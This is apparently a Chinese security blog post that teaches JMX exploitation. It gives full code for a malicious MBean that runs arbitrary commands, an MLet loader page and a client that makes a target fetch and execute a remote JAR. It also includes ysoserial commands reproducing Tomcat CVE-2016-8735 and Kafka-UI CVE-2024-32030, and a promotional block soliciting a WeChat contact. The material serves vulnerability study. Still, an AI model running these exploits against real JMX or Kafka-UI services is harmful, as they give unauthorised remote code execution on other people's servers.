前言
前段時間看到普元 EOS Platform 爆了這個洞,Apache James,Kafka-UI 都爆了這幾個洞,所以決定系統來學習一下這個漏洞點。
JMX 基礎
JMX 前置知識
JMX(Java Management Extensions,即 Java 管理擴充套件)是一個為應用程式、裝置、系統等植入管理功能的框架。JMX 可以跨越一系列異構作業系統平臺、系統體系結構和網路傳輸協議,靈活的開發無縫整合的系統、網路和服務管理應用。
可以簡單理解 JMX 是 java 的一套管理框架,coders 都遵循這個框架,實現對程式碼應用的監控與管理。
JMX 的結構一共分為三層:
1、基礎層:主要是 MBean,被管理的資源。分為四種,常用需要關注的是兩種。
-
standard MBean 這種型別的 MBean 最簡單,它能管理的資源(包括屬性、方法、時間)必須定義在介面中,然後 MBean 必須實現這個介面。它的命令也必須遵循一定的規範,例如我們的 MBean 為 Hello,則介面必須為 HelloMBean。
-
dynamic MBean 必須實現 javax.management.DynamicMBean 介面,所有的屬性,方法都在執行時定義。2、適配層:MBeanServer,主要是提供對資源的註冊和管理。3、接入層:Connector,提供遠端訪問的入口。
JMX 基礎程式碼實踐
以下程式碼實現簡單的 JMX demo,檔案結構
├── HelloWorld.java
├── HelloWorldMBean.java
└── jmxDemo.java
HelloWorldMBean.java
package org.example;
public interface HelloWorldMBean {
public void sayhello();
public int add(int x, int y);
public String getName();
}
HelloWorld.java
package org.example;
public class HelloWorld implements HelloWorldMBean{
private String name = "Drunkbaby";
@Override
public void sayhello() {
System.out.println("hello world" + this.name);
}
@Override
public int add(int x, int y) {
return x + y;
}
@Override
public String getName() {
return this.name;
}
}
jmxDemo.java
package org.example;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jmxDemo {
public static void main(String[] args) throws Exception{
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
ObjectName mbsName = new ObjectName("test:type=HelloWorld");
HelloWorld mbean = new HelloWorld();
mBeanServer.registerMBean(mbean, mbsName);
// 建立一個 RMI Registry
Registry registry = LocateRegistry.createRegistry(1099);
// 構造 JMXServiceURL,繫結建立的 RMI
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
// 構造JMXConnectorServer,關聯 mbserver
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is ready");
System.out.println("press any key to exit.");
System.in.read();
}
}
其中
-
Probe Level:建立了 HelloWorldMBean 例項 mbean
-
Agent Level:建立了 MBeanServer 例項 mbs
-
Remote Management Level: 建立了JMXServiceURL,繫結到本地 1099 rmi,關聯到MBeanServer mbs
JMX 安全問題
JMX 的安全問題主要發生在以下三處
1、jmx2、mbean3、rmi
其中透過利用 MLet 是最常用的攻擊手法,算是 jmx 特性 + mbean 利用,接下來我們詳細來看看 Mlet 的漏洞利用及原理。
Mlet
Mlet 指的是
javax.management.loading.MLet
,該 mbean 有個 getMBeansFromURL 的方法,可以從遠端 mlet server 載入 mbean。
攻擊過程:
-
啟動託管 MLet 和含有惡意 MBean 的 JAR 檔案的 Web 伺服器
-
使用JMX在目標伺服器上建立
MBeanjavax.management.loading.MLet
的例項 -
呼叫 MBean 例項的 getMBeansFromURL 方法,將 Web 伺服器 URL 作為引數進行傳遞。JMX 服務將連線到http伺服器並解析MLet檔案
-
JMX 服務下載並歸檔 MLet 檔案中引用的 JAR 檔案,使惡意 MBean 可透過 JMX 獲取
-
攻擊者最終呼叫來自惡意 MBean 的方法
-
下面我們來編寫一個漏洞例項。
Evil MBean
檔案結構
├── Evil.java
└── EvilMBean.java
EvilMBean.java
package com.drunkbaby.mlet;
public interface EvilMBean {
public String runCommand(String cmd);
}
Evil.java
package com.drunkbaby.mlet;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Evil implements EvilMBean
{
public String runCommand(String cmd)
{
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null)
{
stdout_err_data += s+"\n";
}
while ((s = stdError.readLine()) != null)
{
stdout_err_data += s+"\n";
}
proc.waitFor();
return stdout_err_data;
}
catch (Exception e)
{
return e.toString();
}
}
}
Mlet Server
將原本的檔案打包為 jar 包。步驟省略了,就是 build Artifacts。隨後編寫 evil.html
<html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>
整體結構如圖
Attack Code
ExploitJMXByRemoteMBean.java
package com.drunkbaby.mlet;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator;
public class ExploitJMXByRemoteMBean {
public static void main(String[] args) {
try {
// connectAndOwn(args[0], args[1], args[2]);
connectAndOwn("localhost","1099","open -a Calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {
try {
// step1. 透過rmi建立 jmx連線
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
// step2. 載入特殊MBean:javax.management.loading.MLet
ObjectInstance evil_bean = null;
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
// step3:透過MLet載入遠端惡意MBean
System.out.println("Loaded "+evil.getClassName());
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
{ "http://localhost:4141/evil.html"},
new String[] { String.class.getName() } );
HashSet res_set = ((HashSet)res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception)
{
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
// step4: 執行惡意MBean
System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
System.out.println("Calling runCommand with: "+command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
System.out.println("Result: "+result);
} catch (Exception e)
{
e.printStackTrace();
}
}
}
很明顯這裡是和遠端的 jar 包進行了連線,而遠端的 jar 包上面放置了惡意的 MBean,關於 Mlet 的攻擊流程和漏洞分析會在文章後半部分展開來講。
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
JMX 反序列化漏洞
在實際場景中 JMX 一般出現的漏洞點都是在某某反序列化當中。下面內容總結一下可能存在的三個問題
JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735
漏洞描述
這其實是 JDK 的洞 —— JMX 導致的,但是由於 Tomcat 沒有及時打補丁,所以這個漏洞被披露在 Tomcat 中。該漏洞的底層原因是由於 Tomcat 在配置 JMX 做監控時使用了 JmxRemoteLifecycleListener()
方法。
-
漏洞利用前置條件為 JmxRemoteLifecycleListener 監聽的 10001 和 10002 埠被開放。
影響版本
Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47
環境搭建
https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735
需要新增一個 listener 和 catalina.sh
,網上教程都有,包括兩個 jar 包,我這裡不再贅述了。
漏洞復現
-
漏洞復現的 EXP 已經有了
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"
漏洞觸發點 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer
try {
RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);
cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());
cs.start();
registry.bind("jmxrmi", server);
log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));
} catch (AlreadyBoundException | IOException var15) {
log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);
}
很經典的手法,registry.bind()
呼叫反序列化,接著透過 Grovvy1 鏈觸發
同樣這裡其實也是用 RMI 協議來打的。
利用 Mlet 的方式動態載入 MBean
這個有點意思,上面在講 Mlet 攻擊的時候其實我們有提到,Mlet 是透過載入遠端的 jar 包,呼叫裡面的 codebase 來 rce 的。
而 JMX 呼叫遠端 MBean 方法有以下流程:
1、MBean name、MBean Function Name、params,傳送給遠端的 rmi server,其中 params 需要先統一轉換為 MarshalledObject,透過 readObject 轉換為字串。2、RMI Server監聽到網路請求,包含MBean name、MBean Function Name、 params,其中params經過MarshalledObject.readObject() 反序列化,再透過invoke呼叫原函式。
所以這裡只需要我們惡意構造 String 進行反序列化,就可以進行攻擊。在 ysoserial 當中,這一個類為 JMXInvokeMBean
package ysoserial.exploit;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import ysoserial.payloads.ObjectPayload.Utils;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if ( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
我看下來兩種漏洞利用的最終思路是很類似的,都是 RMi 去打反序列化,不一樣的點在於一個是利用 RMIxxx.bind()
另外一種是在用 jmx:rmi//
協議去打。
當漏洞照進現實 —— CVE-2024-32030 Kafka-UI 反序列化漏洞
https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/
漏洞描述
Kafka UI 是 Apache Kafka 管理的開源 Web UI。Kafka UI API 允許使用者透過指定網路地址和埠連線到不同的 Kafka brokers。作為一個獨立的功能,它還提供了透過連線到其 JMX 埠監視 Kafka brokers 效能的能力。CVE-2024-32030 中,由於預設情況下 Kafka UI 未開啟認證授權,攻擊者可構造惡意請求利用後臺功能執行任意程式碼,控制伺服器。官方已釋出安全更新,修復該漏洞。
影響版本
Kafka-UI <= 0.7.1
環境搭建
Kafka-UI 的 docker
version: '3.8'
services:
kafka-ui:
image: provectuslabs/kafka-ui:v0.7.1
container_name: kafka-ui
environment:
- DYNAMIC_CONFIG_ENABLED=true
- JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
ports:
- "8080:8080"
- "5005:5005"
Kafka 的 UI,之前分析 Kafka 漏洞的時候就寫過了
version: '2'
services:
zookeeper:
image: zookeeper
restart: always
ports:
- "2181:2181"
container_name: zookeeper
kafka:
image: wurstmeister/kafka
restart: always
ports:
- "9092:9092"
- "9094:9094"
depends_on:
- zookeeper
environment:
KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
container_name: kafka
漏洞復現
使用 ysoserial 直接打,起一個惡意的 JMX 服務。
git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
開啟了之後,使用 Kafka-UI 去連線該 JMX
第一步先開啟 org.apache.commons.collections.enableUnsafeSerialization:true
,再進行 CC 的反序列化。
伺服器接收到惡意的請求
隨後第二步直接使用 CC 鏈打。
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"
攻擊成功
漏洞分析
透過簡單的搜尋就可以確定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo
最終的觸發點是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync
方法
後面其實就是 RMI 的部分了,當然這裡還涉及到了 Scala1 鏈暫時不展開。
這一個漏洞其實也是 jmx://rmi// 可控造成的一個問題。但是這裡的修復只是更新了一部分依賴,把 CC3 更新成了 CC4。所以其實還是存在一定的繞過的。
更多網安技能的線上實操練習,請點選這裡>>